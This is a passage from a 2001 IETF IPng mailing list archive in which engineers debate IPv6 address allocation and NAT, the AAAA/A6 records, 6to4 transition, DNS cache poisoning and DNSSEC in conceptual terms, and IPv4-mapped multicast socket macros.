importantly, it does in the sense of making IPv6 an attractive replacement for NAT. One of the big pitches for IPv6 was that it would solve the address space problem, eliminate all that nasty NAT activity, and restore the purity of end-to-end connectivity. But since the ISP business model is based on scarce/expensive address space, the end user will not see the promised change. With no obvious benefit and a high transition cost, IPv6 will not be an easy sell. |That kind of ISP meets a need in society, and I expect will continue to |exist. There are other ISPs around (often charging more, as you'd |expect) who don't do this kind of thing. And as you point out, often |ISPs run both kinds of service - you pay more you can have a stable address |(ie: you can run a server), you pay less, and you can't. | |I don't think we should dwell on those issues - you're not going to get |a stable address for the cheap (no server) service if the ISP can find any |way to cause it to vary, no matter how easy or hard renumbering is, as it |isn't address stability that is the issue/problem there - it is traffic. Why not dwell on the issue (or the issue of multi-homing for which you should clearly pay even more--at least according to the ISP business model)? We could fix the model so that ISPs wouldn't easily be able to use these particular games in place of bandwidth management and we could then provide end users with some real advantage to entice them to IPv6. | | People recognize that at some level you need an identifier that you can | | call your own. At the moment, the DNS doesn't quite do it. | |Then let's make it, as much as is reasonable. Again, IMHO, this is a case where a partial solution is worse than no solution. It discourages work on a real solution by making it appear less urgent. |Personally I don't think |it will work well as a connection identifier (though people have proposed |using DNS names for that), I don't think it will work well either, though mainly because of historical API usage and fixed-length packet thinking. However, the problem can be solved easily with a fixed-length identifier that is looked up in much the same way as a DNS name. In other words I agree that a level of indirection is a solution, but A6 is the wrong place for it. | | A few years ago I proposed a portable identifier mechanism | |There have been many of those over the years - look in the big-internet |archives for all the discussions on EIDs. Yes, as I said when I made the proposal, the notion is not original. But the version I proposed is a relatively simple retrofit into IPv6 even at this late stage. |It would certainly be an |attractive thing to do, but there are undoubtably also problems that need |to be solved to make them practical. Well, the folks who patented (a version of) the idea don't seem to think there are any significant problems with their implementation. In any case, the problems are no worse (scope-wise) than the DNS problem. Yet once the problems are solved, the approach takes care of renumbering, multi-homing, and mobility. There would be no need to go on looking for little pieces of the problem to work on over the years because it would all be solved. I'm puzzled why people think it's a good idea to expend time and effort on something like A6 which might, someday, in conjunction with some other as-yet-unidentified things help with the renumbering problem yet a comprehensive solution (which has now been implemented and patented) is consistently rejected because it might require a little work. | | This is true but misleading. It is misleading because of the unstated | | implication that the problem can't be solved by throwing bigger hardware | | at it, and this is still open to debate. | |Yes. And while it is true that hardware has been keeping up with the |current growth, it is also true that current growth has been constrained |heavily - I'm not sure that even the best we could do with hardware now |would manage to cope with what the tables would look like if everyone with |an internet connection owned their own stable address (the way we used to). Let's pretend that we didn't have aggregation now. In fact, let's pretend that we did just the opposite and split up all those class-B and class-A networks into class-Cs (if only to make the worst-case math easier). That's 2^24 routing table entries. We want a fast forwarding operation, so let's use a direct lookup table of 4-byte pointers to some sort of interface structure. That's 2^26 bytes = 64MB. My old palmtop has 64MB. My friend's old laptop has close to 1GB. Naturally, I wouldn't suggest trying to populate that table using BGP... | | And we could improve the routing protocols. | |Yes. But to date we haven't. Plenty of research has been done, but it doesn't seem to get applied to the real world. | | Back when address aggregation was introduced for IPv4 it was billed as | | temporary hack to slow the growth of the routing tables until hardware | | had caught up. CIDR block addresses were _not_ supposed to be non-portable. | |yes. I know. I recall the promises that that would never happen. Much like the current promises of IPv6 to provide a good replacement for NAT'ed addresses... | | Rather than attempt to solve the routing problem, IPv6 as currently | | envisioned simply redefines the temporary hack as a feature of the | | routing architecture. | |Yes. That's absolutely true. But it isn't a design aim of IPv6 |to do that, Could have fooled me... |it is just that no-one has yet proposed any other good |solution to the routing problem. My proposal was apparently good enough for the companies who applied for the patent (at least according to their posting to this list they applied). I just wish they had referred to my prior art... | | It expands the address space bit-wise, but preserves the economics | | of address allocation. | |I know what you mean (given the context) - but that isn't quite true. |There's another issue here that does change, radically. With IPv4 |you not only pay for stable addresses if you want them (really for the |ability to run a server) and even more for portable addresses - but you |also pay for the number of addresses you want allocated. The last of |those will vanish with v6 - there's simply no rational way for an address |block smaller than 2^64 (other than perhaps 1) to be allocated. Don't count on it. The ISPs will simply filter out all but the number of addresses that you have paid for. They won't care if they are wasting (2^64 - [number of paid-for addresses]) per customer. The big advantage (to ISPs) of IPv6 over NAT is that they can do this automatically. With NAT they have to use fairly subtle algorithms to try to detect and block "extra" hosts--so subtle in fact that it isn't really practical. With IPv6 all they have to do is populate a table with the first n 64-bit IDs and block any others. Perhaps if they are nice they will clear the table periodically so you can move IDs around. (Don't expect to be able to use rolling IDs for privacy.) If they are less nice they will tell you which IDs you can use. |But that doesn't mean that someone can't |go and make all of this work redundant by figuring out some smart way to |route to billions (of billions) (like 2^48 at least, 2^64 potentially) |individual addresses with no topological significance at all. If there's |someone out there with the solution all ready just waiting, then please, |let us know (even patent it, and then let us know). Discussions of the addressing issue always seem to end up here. It reminds me of an episode of the Simpsons where the father keeps saying, ``I'd like to do something, but there is nothing I can do'' while the daughter keeps telling him about the easy thing he could do... Others have presented solutions. I have presented a solution. A version of my solution has been patented unfortunately (or at least the companies claim to have applied for a patent). If anyone were serious about implementing a solution I'd be happy to argue prior art to invalidate the patent. I understand why you feel that it is necessary for packets to carry routing hints (and that's exactly what topological addresses are--routing information). As you said, FUD works, and a distributed routing model might be too radical a departure from existing practice to be easily accepted at this time. However, we do not have to foist these routing hints off on the end user as addresses. A portable identifier that is independent of the topological address solves a variety of problems. At some level the result must be isomorphic to distributed routing, but the extra level of indirection allows the solution to be more clearly visualized. And perhaps that's the important thing as far as FUD goes. | | Of course NAT will be used with IPv6. Why pay a per-address fee and then | | an additional fee to keep the address stable (at least in the short term) | | when you can maintain your own internal addresses with NAT? | |The "keep the address stable" part isn't helped at all by NAT. Sure it is. Sites care about internal stability as well as external. Site local addresses are yet another IPv6 hack that recognizes this fact and tries to partially mask the problem. |The |only advantage to stable addresses (aside from the problem of renumbering |your site) is where it is known to others. So you are saying that the only advantage of stable addresses (aside from internal use) is external use. Yes, I agree. :) |For most sites renumbering internally is already cheap - You must be very lucky; I have yet to encounter such a site. Dan Lanciani ddl@harvard.edu -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 8 02:10:18 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f489AHIM013608 for ; Tue, 8 May 2001 02:10:18 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f489AH10013607 for ipng-dist; Tue, 8 May 2001 02:10:17 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f489A8IM013600 for ; Tue, 8 May 2001 02:10:08 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA04865 for ; Tue, 8 May 2001 02:10:08 -0700 (PDT) Received: from pianosa.catch22.org (pianosa.catch22.org [64.81.48.19]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id CAA00295 for ; Tue, 8 May 2001 02:10:06 -0700 (PDT) Received: by pianosa.catch22.org (Postfix, from userid 1000) id AC9811777; Tue, 8 May 2001 02:10:06 -0700 (PDT) Date: Tue, 8 May 2001 02:10:06 -0700 From: David Terrell To: Dan Lanciani Cc: ipng@sunroof.eng.sun.com Subject: Re: AAAA/A6 thing Message-ID: <20010508021006.A300@pianosa.catch22.org> Reply-To: David Terrell References: <200105080902.FAA18996@endor.deas.harvard.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.4i In-Reply-To: <200105080902.FAA18996@endor.deas.harvard.edu>; from ddl@deas.harvard.edu on Tue, May 08, 2001 at 05:02:26AM -0400 X-Nethack: You feel like someone is making a pointless Nethack reference.--More-- X-Uptime: 2:08AM up 57 days, 1:13, 26 users, load averages: 0.09, 0.16, 0.22 X-Baby: Theodore Marvin Wolpinsky Terrell born 69 days, 11 hours, 22 minutes, 3 seconds ago Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Tue, May 08, 2001 at 05:02:26AM -0400, Dan Lanciani wrote: >It's relevant unless you eliminate 6to4 and any other scheme that >generates portable v6 address space from v4 space. 6to4 is actually >rather interesting in that it has the potential to overtake "native" >v6 addressing (especially considering Microsoft's treatment of 6to4 >as a first-class citizen). Once 6to4 has served its purpose of >jump-starting IPv6 deployment and the time comes to kill it off in >favor of native aggregated addressing, the task may be more difficult >than was anticipated. If the bulk of users are on the 6to4 side, >simply severing ties to the native backbone won't do the trick since >that would hurt the native users more than the 6to4 users. It would >instead require action on the v4 backbone to block the encapsulated >6to4 traffic, and that might raise some eyebrows. Simply shutting down the 6to4 translators would have a similar effect. If a large amount of IPv6 traffic were going over a few 6to4 translators you'd probably see them get shut down for bandwidth reasons anyway. -- David Terrell | "Anyone want to start a fund for students Nebcorp Prime Minister | that vow not to work at MS?" dbt@meat.net | - Libor Michalek http://wwn.nebcorp.com/ -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 8 02:25:33 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f489PXIM013636 for ; Tue, 8 May 2001 02:25:33 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f489PW50013635 for ipng-dist; Tue, 8 May 2001 02:25:32 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f489PNIM013628 for ; Tue, 8 May 2001 02:25:23 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA22404 for ; Tue, 8 May 2001 02:25:22 -0700 (PDT) Received: from theory.cs.uni-bonn.de (theory.cs.uni-bonn.de [131.220.4.211]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id CAA07695 for ; Tue, 8 May 2001 02:25:20 -0700 (PDT) Received: (from ignatios@localhost) by theory.cs.uni-bonn.de (8.9.1a/8.9.1) id LAA13800; Tue, 8 May 2001 11:25:07 +0200 (MET DST) Date: Tue, 8 May 2001 11:25:06 +0200 From: Ignatios Souvatzis To: David Terrell Cc: Dan Lanciani , ipng@sunroof.eng.sun.com Subject: Re: AAAA/A6 thing Message-ID: <20010508112506.B13731@theory.cs.uni-bonn.de> References: <200105080902.FAA18996@endor.deas.harvard.edu> <20010508021006.A300@pianosa.catch22.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="eAbsdosE1cNLO4uF" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010508021006.A300@pianosa.catch22.org>; from dbt@meat.net on Tue, May 08, 2001 at 02:10:06AM -0700 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk --eAbsdosE1cNLO4uF Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Tue, May 08, 2001 at 02:10:06AM -0700, David Terrell wrote: > >that would hurt the native users more than the 6to4 users. It would > >instead require action on the v4 backbone to block the encapsulated > >6to4 traffic, and that might raise some eyebrows. >=20 > Simply shutting down the 6to4 translators would have a similar > effect. If a large amount of IPv6 traffic were going over a few > 6to4 translators you'd probably see them get shut down for bandwidth > reasons anyway. Uhm, every v6 site goes over its own 6to4 translator, right? (Hope I'm not confusing things due to decaffeination.) What will have a bandwidth problem are 6to4 translators with a real v6 link that do route between 2002:: and the rest of the world, _and_ are known to (significant portions of) the 2002:: community. If more hosts are using 2002:: than native v6, native v6 would be hurt more if those would close down, right? That's what the original poster claimed. -is --eAbsdosE1cNLO4uF Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: 2.6.i iQEVAgUBOve6hDCn4om+4LhpAQEYPgf+KYi/vIFET5tEjsyhZ+FTDzmLapjMcnJo dT620zEfi13N9D+ZafPO9cJ8tW0hz+sNRavZqmDtdKpYa+muqUaj+qPhR9bLunnm 84HUooebYvQdXYHL3Qa9/eNK0CShHXdCVfDKwYe16G40UQGdJzC5SmKaFqerv3g1 oSZ45cJs9pkSNinAuyiyYgQ8SQMllZqjsC9Q3hrvmw0vOm9PD3/qw6iFhK0Xg30g Y4NsUVvf6tmiYOtSSNOYSS3skMjuHE4ho0mFl9qbbt82yXqeL/CldmqL3cRYWMyg 6rwf8NDe3C6P7GIjc8+ShMTg4PIgtSFmw1CXzH0J+n+xMED+p/OyeQ== =beaB -----END PGP SIGNATURE----- --eAbsdosE1cNLO4uF-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 8 06:41:27 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f48DfRIM013770 for ; Tue, 8 May 2001 06:41:27 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f48DfQwF013769 for ipng-dist; Tue, 8 May 2001 06:41:26 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f48DfEIM013762 for ; Tue, 8 May 2001 06:41:14 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA10629 for ; Tue, 8 May 2001 06:41:05 -0700 (PDT) Received: from necom830.hpcl.titech.ac.jp (necom830.hpcl.titech.ac.jp [131.112.32.132]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id HAA25090 for ; Tue, 8 May 2001 07:41:07 -0600 (MDT) From: Masataka Ohta Message-Id: <200105081323.WAA14667@necom830.hpcl.titech.ac.jp> Received: by necom830.hpcl.titech.ac.jp (8.6.11/TM2.1) id WAA14667; Tue, 8 May 2001 22:22:54 +0859 Subject: Re: AAAA/A6 thing In-Reply-To: <4651.989312492@brandenburg.cs.mu.OZ.AU> from Robert Elz at "May 8, 2001 04:01:32 pm" To: Robert Elz Date: Tue, 8 May 2001 22:22:53 +0859 () CC: Ian Jackson , ipng@sunroof.eng.sun.com, namedroppers@ops.ietf.org X-Mailer: ELM [version 2.4ME+ PL68 (25)] Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Kre; > | In order for that to be true then out-of-bailiwick > | RRsets which appear in answers (eg in the additional section) > | shouldn't be used (except perhaps as glue - here be dragons). > > Forget the "out of bailiwick" nonsense - you really mean answers that > don't come from the authoritative servers for the data. "authoritative" is not a useful concept because anyone can turn on the authoritative bit. We can rely on answers from non-authoritative servers, as long as the servers do not use cached glue information for non-glue reply, The entire system is weakly secure. > Also, note that none of this is ever going to be any protection against > someone deliberately setting out to maliciously alter data - only dnssec > type techniques can achieve that. In the non-signed cases, all we're > really interested in is inadvertent data errors (mistakes). Properly implemented DNS is as secure as telephone network that as long as providers' routing is reliable, the system is secure, which is called weak security. Given that people rarely mind lack of security of telephone network, the Internet without DNSSEC is secure enough. Those wanting even more security can privately exchange shared secret. Anyway, DNSSEC is not secure if parent zones are compromised. Masataka Ohta -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 8 07:08:11 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f48E8AIM013800 for ; Tue, 8 May 2001 07:08:10 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f48E890M013799 for ipng-dist; Tue, 8 May 2001 07:08:09 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f48E7fIM013792 for ; Tue, 8 May 2001 07:07:46 -0700 (PDT) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA14818 for ; Tue, 8 May 2001 07:07:39 -0700 (PDT) Received: from gungnir.fnal.gov (gungnir.fnal.gov [131.225.80.1]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA08929 for ; Tue, 8 May 2001 07:07:39 -0700 (PDT) Received: from gungnir.fnal.gov (localhost [127.0.0.1]) by gungnir.fnal.gov (8.9.1/8.9.1) with ESMTP id JAA12499; Tue, 8 May 2001 09:07:15 -0500 (CDT) Message-Id: <200105081407.JAA12499@gungnir.fnal.gov> To: ipng@sunroof.eng.sun.com, namedroppers@ops.ietf.org From: "Matt Crawford" Subject: Re: AAAA/A6 thing In-reply-to: Your message of Tue, 08 May 2001 16:01:32 +0700. <4651.989312492@brandenburg.cs.mu.OZ.AU> Date: Tue, 08 May 2001 09:07:15 -0500 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > Also, note that none of this is ever going to be any protection against > someone deliberately setting out to maliciously alter data - only dnssec > type techniques can achieve that. In the non-signed cases, all we're > really interested in is inadvertent data errors (mistakes). And even then, a subversion that starts from a trusted higher level in the tree will still work (barring the occasional manual configuration of non-hierarchically related keys). -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 8 08:42:38 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f48FgcIM014036 for ; Tue, 8 May 2001 08:42:38 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f48Fgbgp014035 for ipng-dist; Tue, 8 May 2001 08:42:37 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f48FgSIM014028 for ; Tue, 8 May 2001 08:42:28 -0700 (PDT) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA26670 for ; Tue, 8 May 2001 08:42:29 -0700 (PDT) Received: from haupia.lava.net (haupia.lava.net [64.65.64.20]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA26479 for ; Tue, 8 May 2001 08:42:28 -0700 (PDT) Received: from malasada.lava.net([64.65.64.17]) (2354 bytes) by haupia.lava.net via smail with P:esmtp/R:inet_hosts/T:smtp (sender: ) id for ; Tue, 8 May 2001 05:42:27 -1000 (HST) (Smail-3.2.0.106 1999-Mar-31 #2 built 1999-Dec-7) Date: Tue, 8 May 2001 05:42:27 -1000 (HST) From: Antonio Querubin To: Dave Thaler cc: Subject: RE: multicast IPv4-mapped IPv6 addresses/sockets In-Reply-To: <5B90AD65A9E8934987DB0C8C076265740878F5B1@DF-BOWWOW.platinum.corp.microsoft.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Mon, 7 May 2001, Dave Thaler wrote: > I'd agree with Yes for #1 and #2. > > There's no really "good" answer to #3, and I think it partly comes down > to what people expect the answers to these questions to be: > > 4. For a v4-mapped multicast address, should IN6_IS_ADDR_V4MAPPED be > TRUE? > > 5. For a v4-mapped multicast address, should IN6_IS_ADDR_MULTICAST be > TRUE? > > The best technical answer would be Yes to both #4 and #5. However, > that would mean the definition of one or the other of the macros would > have to change to include the v4-mapped multicast address range, > and that may not be reasonable at this point. Another alternative > would be to define an IN6_IS_ADDR_V4MAPPED_MULTICAST macro, and > make callers of either IN6_IS_ADDR_V4MAPPED or IN6_IS_ADDR_MULTICAST > (depending on which prefix we go with) call the new macro too to cover > all cases. While I would agree that the answer to #4 and #5 are both Yes I'm not as sure that would require a change to the definition of the macros as specified in the socket extension API. The definition of IN6_IS_ADDR_V4MAPPED does not make a distinction between unicast and multicast and so would be blind to a change in RFC-2373 that only extends the definition of V4-mapped to now include multicast. For the definition of IN6_IS_ADDR_MULTICAST - well when you think about it that's what we're actually trying to clarify in the first place. Ie. what IN6_IS_ADDR_MULTICAST covers is not clear however, is clarifying it at the RFC-2553 level appropriate vs clarifying it in RFC-2373? However, I do agree a revision of RFC-2373 would cause implementations that were once compliant with RFC-2553 no longer are - but not because RFC-2553 changed. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 8 11:11:06 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f48IB5IM014377 for ; Tue, 8 May 2001 11:11:05 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f48IB5iL014376 for ipng-dist; Tue, 8 May 2001 11:11:05 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f48IArIM014369 for ; Tue, 8 May 2001 11:10:53 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA16835 for ; Tue, 8 May 2001 11:10:53 -0700 (PDT) Received: from necom830.hpcl.titech.ac.jp (necom830.hpcl.titech.ac.jp [131.112.32.132]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id LAA22236 for ; Tue, 8 May 2001 11:10:52 -0700 (PDT) From: Masataka Ohta Message-Id: <200105081800.CAA16573@necom830.hpcl.titech.ac.jp> Received: by necom830.hpcl.titech.ac.jp (8.6.11/TM2.1) id CAA16573; Wed, 9 May 2001 02:59:52 +0859 Subject: Re: Cache poison (was Re: AAAA/A6 thing) In-Reply-To: <200105081426.KAA25440@egyptian-gods.MIT.EDU> from Greg Hudson at "May 8, 2001 10:26:57 am" To: Greg Hudson Date: Wed, 9 May 2001 02:59:52 +0859 () CC: Robert Elz , ipng@sunroof.eng.sun.com, namedroppers@ops.ietf.org X-Mailer: ELM [version 2.4ME+ PL68 (25)] Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Greg: > > Also, note that none of this is ever going to be any protection > > against someone deliberately setting out to maliciously alter data - > > only dnssec type techniques can achieve that. In the non-signed > > cases, all we're really interested in is inadvertent data errors > > (mistakes). > > I think you're in the margin on this one. Without poison protection > similar to the djb variety, As Dan finally understood just recently, poison protection is easy, if one understand the problem correctly. His approach is overkill and broken. > parties have done so. With bailiwick-related poison protection, Could you stop saying "bailiwick"? > maliciously altering data requires (a) forging DNS responses (by > sniffing the network path between sender and receiver, or by spamming It is called weak security. > it becomes trivial to mass-produce cache > poison, Yes. But, Paul ignored it when I said so about 10 years ago and later added wrong fixes. Masataka Ohta -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 8 12:39:45 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f48JdjIM014453 for ; Tue, 8 May 2001 12:39:45 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f48JdiF5014452 for ipng-dist; Tue, 8 May 2001 12:39:44 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f48JdYIM014445 for ; Tue, 8 May 2001 12:39:34 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA01368 for ; Tue, 8 May 2001 12:39:31 -0700 (PDT) Received: from mail3.microsoft.com (mail3.microsoft.com [131.107.3.123]) by patan.sun.com (8.9.3+Sun/8.9.3) with SMTP id MAA29225 for ; Tue, 8 May 2001 12:39:29 -0700 (PDT) Received: from 157.54.9.108 by mail3.microsoft.com (InterScan E-Mail VirusWall NT); Tue, 08 May 2001 08:41:33 -0700 (Pacific Daylight Time) Received: from red-imc-02.redmond.corp.microsoft.com ([157.54.9.107]) by inet-imc-05.redmond.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.2883); Tue, 8 May 2001 08:42:53 -0700 Received: from win-imc-02.wingroup.windeploy.ntdev.microsoft.com ([157.54.0.82]) by red-imc-02.redmond.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.2883); Tue, 8 May 2001 08:42:52 -0700 Received: from win-msg-02.wingroup.windeploy.ntdev.microsoft.com ([157.54.0.134]) by win-imc-02.wingroup.windeploy.ntdev.microsoft.com with Microsoft SMTPSVC(5.0.2195.1600); Tue, 8 May 2001 08:42:29 -0700 Subject: Consequences of 6to4 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Tue, 8 May 2001 08:42:28 -0700 content-class: urn:content-classes:message X-MimeOLE: Produced By Microsoft Exchange V6.0.4688.0 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Consequences of 6to4 Thread-Index: AcDXneuR9eWPNeThQhODCWlrlxMZaQAM4e3Q From: "Christian Huitema" To: "Dan Lanciani" , X-OriginalArrivalTime: 08 May 2001 15:42:29.0265 (UTC) FILETIME=[7D111010:01C0D7D5] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id f48JdZIM014446 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > It's relevant unless you eliminate 6to4 and any other scheme that > generates portable v6 address space from v4 space. 6to4 is actually > rather interesting in that it has the potential to overtake "native" v6 > addressing (especially considering Microsoft's treatment of 6to4 as a > first-class citizen). The main advantage of 6to4 is that we can jumpstart IPv6 quickly, without requiring any tunnel configuration. We get a solution that is as easy to deploy as a NAT, but which does enable global addressing and is thus markedly superior in several important communication scenarios, e.g. peer-to-peer applications, voice and video communication, multi-player games. Note however that these scenarios do not require "portable" addresses. Most of the interesting applications come with their own rendezvous mechanism, such as dynamic registration of peers in Napster or Gnutella, SIP proxies for voice or video, lobbies for game players. Dynamic addresses are fine, as long as they are global. By the way, this means that we will get two kinds of ISPs: if an ISP can provide a home with at least one global address, then we can start enable IPv6 in the home with 6to4, and thus enable the applications. On the other hand, if an ISP only provides the home with a non-global address, e.g. a net 10 address, then a number of interesting applications will not work. I suspect that this will create some form of market pressure. > Once 6to4 has served its purpose of jump-starting IPv6 deployment and the > time comes to kill it off in favor of native aggregated addressing, the > task may be more difficult than was anticipated. If the bulk of users are > on the 6to4 side, simply severing ties to the native backbone won't do the > trick since that would hurt the native users more than the 6to4 users. It > would instead require action on the v4 backbone to block the encapsulated > 6to4 traffic, and that might raise some eyebrows. There are two answers to this question. A first one is to make the interoperation between 6to4 and "native v6" as seamless as possible; this is precisely why NGTRANS 